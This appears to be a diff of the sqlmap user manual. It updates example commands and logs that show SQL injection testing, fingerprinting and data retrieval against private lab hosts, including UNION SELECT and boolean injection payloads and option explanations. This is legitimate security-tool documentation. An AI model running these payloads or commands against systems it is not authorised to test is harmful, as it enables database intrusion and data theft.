$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST \ - --data "id=1&cat=2" + --data "id=1" [hh:mm:53] [INFO] testing connection to the target url [hh:mm:53] [INFO] testing if the url is stable, wait a few seconds @@ -796,8 +933,6 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method [hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id' [hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id' [hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable -[hh:mm:54] [INFO] testing if POST parameter 'cat' is dynamic -[hh:mm:54] [WARNING] POST parameter 'cat' is not dynamic [...] [hh:mm:54] [INFO] testing Oracle [hh:mm:54] [INFO] query: LENGTH(SYSDATE) @@ -807,6 +942,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method [hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1 [hh:mm:54] [INFO] retrieved: 10.2.0.1.0 [hh:mm:55] [INFO] performed 76 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: Oracle
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \ - "id=1;cat=2" -v 1 + "id=1" -v 1 [hh:mm:37] [INFO] testing connection to the target url [hh:mm:37] [INFO] testing if the url is stable, wait a few seconds @@ -881,7 +1018,11 @@ $ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3 [hh:mm:39] [INFO] testing connection to the target url [hh:mm:39] [TRAFFIC OUT] HTTP request: GET /sqlmap/get_str.asp?name=luther HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.125:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ Connection: close @@ -892,7 +1033,11 @@ Connection: close [hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic [hh:mm:40] [TRAFFIC OUT] HTTP request: GET /sqlmap/get_str.asp?name=luther HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.125:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 Cookie: ASPSESSIONIDSABTRCAS=469 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close @@ -929,19 +1074,23 @@ values that you provided? [Y/n] option. By default no HTTPReferer
heder is sent in HTTP requests. -Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --referer \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer \ "http://www.google.com" -v 3 [...] [hh:mm:48] [INFO] testing connection to the target url [hh:mm:48] [TRAFFIC OUT] HTTP request: -GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1 +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 Referer: http://www.google.com +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -970,14 +1119,18 @@ sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \ --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3 [...] [hh:mm:02] [INFO] testing connection to the target url [hh:mm:02] [TRAFFIC OUT] HTTP request: -GET /sqlmap/oracle/get_int.php?id=1&cat=2 HTTP/1.1 +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Connection: close [...] @@ -990,11 +1143,11 @@ file containing a list of at least one user agent, to the-a
option, sqlmap will randomly select aUser-Agent
from the file and use it for all HTTP requests. -Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \ -a "./txt/user-agents.txt" [hh:mm:00] [DEBUG] initializing the configuration @@ -1008,8 +1161,12 @@ Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) [hh:mm:00] [DEBUG] parsing XML queries file [hh:mm:00] [INFO] testing connection to the target url [hh:mm:00] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) Connection: close [...] @@ -1036,6 +1193,16 @@ to force the HTTP User-Agent header with option --user-agent or -a +Extra HTTP headers
+ +Option:
+ +--headers
It is possible to provide extra HTTP headers by providing
+ +--headers
+options. Each header must be separated by a "\n" string and it's much easier +to provide them from the configuration INI file. Have a look at the sample +sqlmap.conf
file.HTTP
Basic
andDigest
authenticationsOptions:
@@ -1046,36 +1213,44 @@ HTTP requests to the target URL. The two valid types are--auth-type
and--auth-cred
Basic
andDigest
and the credentials' syntax isusername:password
. -Examples on a MySQL 5.0.51 target:
+Examples on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" \ --auth-type Basic --auth-cred "testuser:testpass" -v 3 [...] -[hh:mm:28] [INFO] testing connection to the target url -[hh:mm:28] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:14] [INFO] testing connection to the target url +[hh:mm:14] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M= User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close [...] -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" \ --auth-type Digest --auth-cred "testuser:testpass" -v 3 [...] -[hh:mm:48] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/digest/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:54] [INFO] testing connection to the target url +[hh:mm:54] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 Authorization: Digest username="testuser", realm="Testing digest authentication", -nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f", -uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", -response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, -cnonce="df1c0902c931b640" +nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d", +uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747", +algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a" User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -1092,12 +1267,12 @@ Connection: close HTTP requests to the target URL. The syntax of HTTP proxy value ishttp://url:port
. -Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \ - --proxy "http://127.0.0.1:3128" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \ + --proxy "http://192.168.1.47:3128" [hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic @@ -1118,8 +1293,8 @@ as explained on the
@@ -1138,31 +1313,40 @@ retrieve the query output. This feature relies on the multithreading concept and inherits both its pro and its cons. -
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \ - --proxy "http://127.0.0.1:8118" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \ + --proxy "http://192.168.1.47:8118"Examples on a MySQL 5.0.51 target:
+Examples on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \ - -b --threads 3 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \ + --current-user --threads 3 [...] -back-end DBMS: MySQL >= 5.0.0 +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0 -[hh:mm:08] [INFO] fetching banner -[hh:mm:08] [INFO] retrieved the length of query output: 18 -[hh:mm:09] [INFO] query: IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)) -[hh:mm:09] [INFO] starting 3 threads -[hh:mm:09] [INFO] retrieved: 5.0.51a-3ubuntu5.2 -[hh:mm:09] [INFO] performed 132 queries in 0 seconds -banner: '5.0.51a-3ubuntu5.2' +[hh:mm:18] [INFO] fetching current user +[hh:mm:18] [INFO] retrieving the length of query output +[hh:mm:18] [INFO] query: IFNULL(CAST(LENGTH(CURRENT_USER()) AS CHAR(10000)), CHAR(32)) +[hh:mm:18] [INFO] retrieved: 18 +[hh:mm:19] [INFO] query: IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)) +[hh:mm:19] [INFO] starting 3 threads +[hh:mm:19] [INFO] retrieved: testuser@localhost +[hh:mm:19] [INFO] performed 126 queries in 0 seconds +current user: 'testuser@localhost'As you can see, sqlmap first calculates the length of the query output, then starts three threads. Each thread is assigned to retrieve one -character of the query output. The thread then ends after approximately -seven HTTP requests, the maximum to retrieve a query output character.
+character of the query output. The thread then ends after up to seven +HTTP requests, the maximum requests to retrieve a query output character +with the blind SQL injection bisection algorithm implemented in sqlmap. + +Note that the multithreading option is not needed if the target is affected +by an inband SQL injection vulnerability and the
--union-use
+option has been provided.Delay in seconds between each HTTP request
@@ -1170,7 +1354,7 @@ seven HTTP requests, the maximum to retrieve a query output character.Option:
--delay
It is possible to specify a number of seconds to wait between each HTTP -request. The valid value is a float, for instance 0.5.
+request. The valid value is a float, for instance 0.5 means half a second.Seconds to wait before timeout connection
@@ -1178,13 +1362,17 @@ request. The valid value is a float, for instance 0.5.Option:
--timeout
It is possible to specify a number of seconds to wait before considering -the HTTP connection timed out. The valid value is a float, for instance -10.5.
+the HTTP request timed out. The valid value is a float, for instance +10.5 means ten seconds and a half.5.3 Injection
+These options can be used to specify which parameters to test for, provide +custom injection payloads and how to parse and compare HTTP responses page +content when using the blind SQL injection technique.
+Testable parameter(s)
Option:
@@ -1195,11 +1383,11 @@ header value for dynamicity and SQL injection vulnerability, but it is possible to manually specificy the parameter(s) you want sqlmap to perform tests on comma separeted in order to skip dynamicity tests and perform SQL injection test and inject directly only against the provided parameter(s). --p
Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 \ -p "id" [hh:mm:48] [INFO] testing connection to the target url @@ -1231,7 +1419,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&caYou can also test only the HTTP
-User-Agent
header.Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
@@ -1291,16 +1481,18 @@ will skip the fingerprint with an exception for MySQL to only identify if it is MySQL < 5.0 or MySQL >= 5.0. To avoid also this check you can provide instead
@@ -1264,7 +1452,9 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \ [hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:41] [INFO] retrieved: 4 [hh:mm:41] [INFO] performed 13 queries in 0 seconds -back-end DBMS: MySQL >= 5.0.0 +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0MySQL 4
orMySQL 5
. -Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
@@ -1308,8 +1500,7 @@ back-end DBMS: PostgreSQL
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 \ --dbms "PostgreSQL" [...] [hh:mm:31] [DEBUG] skipping to test for MySQL [hh:mm:31] [DEBUG] skipping to test for Oracle +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQLIn case you provide
+database management system, read below for further details.--fingerprint
together with--dbms
, sqlmap will only perform the extensive fingerprint for the specified -database management system, read the following section for further -details.Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the @@ -1321,42 +1512,108 @@ automatically identify it for you.
Options:
---prefix
and--postfix
TODO
+In some circumstances the vulnerable parameter is exploitable only if the +user provides a postfix to be appended to the injection payload. +Another scenario where these options come handy presents itself when the +user already knows that query syntax and want to detect and exploit the +SQL injection by directly providing a injection payload prefix and/or +postfix.
+ +Example on a MySQL 5.0.67 target on a page where the SQL query is: +
+$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
:+
+ + ++
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \ + -p "id" --prefix "'" --postfix "AND 'test'='test" + +[...] +[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis +[hh:mm:16] [INFO] testing custom injection on GET parameter 'id' +[hh:mm:16] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20 +%28%27test%27=%27test HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 +Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 +User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) +Connection: close +[...] +[hh:mm:17] [INFO] GET parameter 'id' is custom injectable +[...] ++As you can see, the injection payload for testing for custom injection is:
++
+ ++
+id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test ++which URL decoded is:
++
+ ++
+id=1') AND 7433=7433 AND ('test'='test ++and makes the query syntatically correct to the page query:
++
+ + ++
+SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1 ++In this simple example sqlmap could detect the SQL injection and exploit it +without need to provide a custom injection payload, but sometimes on real +world application it is necessary to provide a custom injection payload.
Page comparison
Options:
---string
and--regexp
TODO -By default the distinction of a True query by a False one (basic concept -for standard blind SQL injection attacks) is done comparing injected pages -content MD5 hash with the original not-injected page content MD5. Not -always this concept works because sometimes the page content changes at -each refresh, for instance when the page has a counter, a dynamic -advertisment banner or any other part of the HTML which is render -dynamically and might change in time not only consequently to user's -input. +
By default the distinction of a True query by a False one (basic concept +for Inferential Blind SQL injection attacks) is done comparing injected +requests page content MD5 hash with the original not injected page content +MD5 hash. +Not always this concept works because sometimes the page content changes at +each refresh even not injecting anything, for instance when the page has a +counter, a dynamic advertisment banner or any other part of the HTML which +is render dynamically and might change in time not only consequently to +user's input. To bypass this limit, sqlmap makes it possible to manually provide a -string which is always present on the not-injected page +string which is always present on the not injected page and on all True injected query pages, but that it is not -on the False ones. +on the False ones. This can also be achieved by providing a regular +expression. Such information is easy for an user to retrieve, simply try to inject on -the affected URL parameter an invalid value and compare original output -with the wrong output to identify which string is on True page only. -This way the distinction will be based upon string match and not page MD5 -hash comparison.
-Example on a MySQL 5.0.51 target:
+the affected URL parameter an invalid value and compare original (not +injected) page content with the injected wrong page content to identify +which string or regular expression match is on not injected and True page +only. +This way the distinction will be based upon string presence or regular +expression match and not page MD5 hash comparison. +Example on a MySQL 5.0.67 target on a page which content changes +every second due to a call to PHP function
time()
:
@@ -1435,13 +1692,16 @@ than that.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \ -v 5 [...] [hh:mm:50] [INFO] testing if the url is stable, wait a few seconds [hh:mm:50] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 +GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.1.121:80 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close @@ -1378,7 +1635,7 @@ Content-Type: text/html </body></html><p>Dynamic content: 1216996190</p> [hh:mm:51] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 +GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.1.121:80 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close @@ -1400,7 +1657,7 @@ Content-Type: text/html </body></html><p>Dynamic content: 1216996191</p> [hh:mm:51] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 +GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.1.121:80 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close @@ -1421,8 +1678,8 @@ Content-Type: text/html </table> </body></html><p>Dynamic content: 1216996191</p> -[hh:mm:51] [ERROR] url is not stable, try with --string option, refer to the user's manual -paragraph 'String match' for details +[hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to +the user's manual paragraph 'Page comparison' for detailsLooking at the HTTP responses page content you can see that the first five lines of code do not change at all. So choosing for instance the word
-luther
as an output that is -on the True page content and it is not on the False page content and -passing it to sqlmap, you should be able to inject anyway.Example on a MySQL 5.0.51 target:
+on the not injected page content and it is not on the False page content +(because the query condition returns no output soluther
is not +displayed on the page content) and passing it to sqlmap, you are able to +inject anyway. +Example on a MySQL 5.0.67 target on a page which content changes +every second due to a call to PHP function
time()
:
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \ --string "luther" -v 1 [hh:mm:22] [INFO] testing connection to the target url @@ -1455,8 +1715,6 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id= [hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable -[hh:mm:22] [INFO] testing if GET parameter 'cat' is dynamic -[hh:mm:22] [WARNING] GET parameter 'cat' is not dynamic [hh:mm:22] [INFO] testing for parenthesis on injectable parameter [hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis [...] @@ -1464,18 +1722,86 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=As you can see, when this option is specified, sqlmap skips the URL -stability test.
+You can also specify a regular expression to match rather than a string if +you prefer.
+Example on a MySQL 5.0.67 target on a page which content changes +every second due to a call to PHP function
+time()
:+
+ + ++
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \ + --regexp "<td>lu[\w][\w]er" -v 1 -+Consider this option a must when you are dealing with a page which -content that changes itself at each refresh without modifying the user's -input.
+[hh:mm:22] [INFO] testing connection to the target url +[hh:mm:22] [INFO] testing if the provided regular expression matches within the target +URL page content +[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:22] [INFO] GET parameter 'id' is dynamic +[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' +[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id' +[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id' +[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable +[hh:mm:22] [INFO] testing for parenthesis on injectable parameter +[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis +[...] +As you can see, when one of these options is specified, sqlmap skips the +URL stability test.
+ +Consider one of these options a must when you are dealing with a page +which content that changes itself at each refresh without modifying the +user's input.
+ + +Exclude specific page content
+ +Options:
+ +--excl-str
and--excl-reg
Another way to get around the dynamicity issue above explained is to exclude +the dynamic part from the page content before processing it.
+ +As you see in the above example the number after
+Dynamic content:
+was dynamic and changed each second. To get around of this problem we could +use the above explained page comparison options or exclude this snippet of +dynamic text from the page before processing it and comparing it with the +not injected page.+
+ + ++
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \ + --excl-reg "Dynamic content: ([\d]+)" + +[hh:mm:22] [INFO] testing connection to the target url +[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:22] [INFO] GET parameter 'id' is dynamic +[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' +[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id' +[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id' +[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable +[hh:mm:22] [INFO] testing for parenthesis on injectable parameter +[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis +[...] ++As you can see, when this options is specified, sqlmap skips the URL +stability test.
5.4 Techniques
-Test for Time Based blind SQL injection
+Test for Time based blind SQL injection
Option:
@@ -1495,7 +1821,7 @@ technique.--time-test
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \ --union-test -v 1 [...] @@ -1504,25 +1830,27 @@ back-end DBMS: Oracle [hh:mm:55] [INFO] testing inband sql injection on parameter 'id' [hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT -NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2' +NULL, NULL, NULL FROM DUAL-- AND 5601=5601'Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
@@ -1530,7 +1858,8 @@ NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" \ --union-test -v 1 [...] -back-end DBMS: PostgreSQL +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: PostgreSQL -[hh:mm:05] [INFO] testing inband sql injection on parameter 'id' -[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability -valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT -NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2' +[hh:mm:29] [INFO] testing inband sql injection on parameter 'id' +[hh:mm:29] [INFO] the target url could be affected by an inband sql injection vulnerability +valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT NULL, +NULL, NULL-- AND 'iBEMR'='iBEMR'As you can see, the target URL parameter
+use this technique which saves a lot of time. +id
might be also affected by an inband SQL injection. In case this vulnerability is exploitable it is strongly recommended to -use it.Use the UNION query SQL injection
@@ -1538,15 +1867,19 @@ use it.Providing the
+(--union-use
parameter, sqlmap will first test if the target URL is affected by an inband SQL injection -(--union-test
) vulnerability then, in case it is vulnerable and -exploitable, it will trigger this vulnerability to retrieve the output of -theSELECT
queries.--union-test
) vulnerability then, in case it seems to be +vulnerable, it will confirm that the parameter is affected by a Full +UNION query SQL injection and use this technique to go ahead with the +exploiting. +If the confirmation fails, it will check if the parameter is affected by +a Partial UNION query SQL injection, then use it to go ahead if it +is vulnerable.Example on a Microsoft SQL Server 2000 Service Pack 0 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 \ --union-use --banner [...] @@ -1555,8 +1888,8 @@ back-end DBMS: Microsoft SQL Server 2000 [hh:mm:42] [INFO] fetching banner [hh:mm:42] [INFO] testing inband sql injection on parameter 'id' [hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability -[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id' -[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection +[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id' +[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection vulnerability [hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+ CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+ @@ -1574,27 +1907,30 @@ Microsoft SQL Server 2000 - 8.00.194 (Intel X86)As you can see, the vulnerable parameter (
+blind SQL injection and exploitable full inband SQL injection +vulnerabilities. -id
) is affected by both -blind SQL injection and exploitable inband SQL injection vulnerabilities.Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
@@ -1625,6 +1961,8 @@ banner: '5.0.51a-3ubuntu5.2' nested (inband) within the HTTP response page, this makes the inband SQL injection exploitable. +
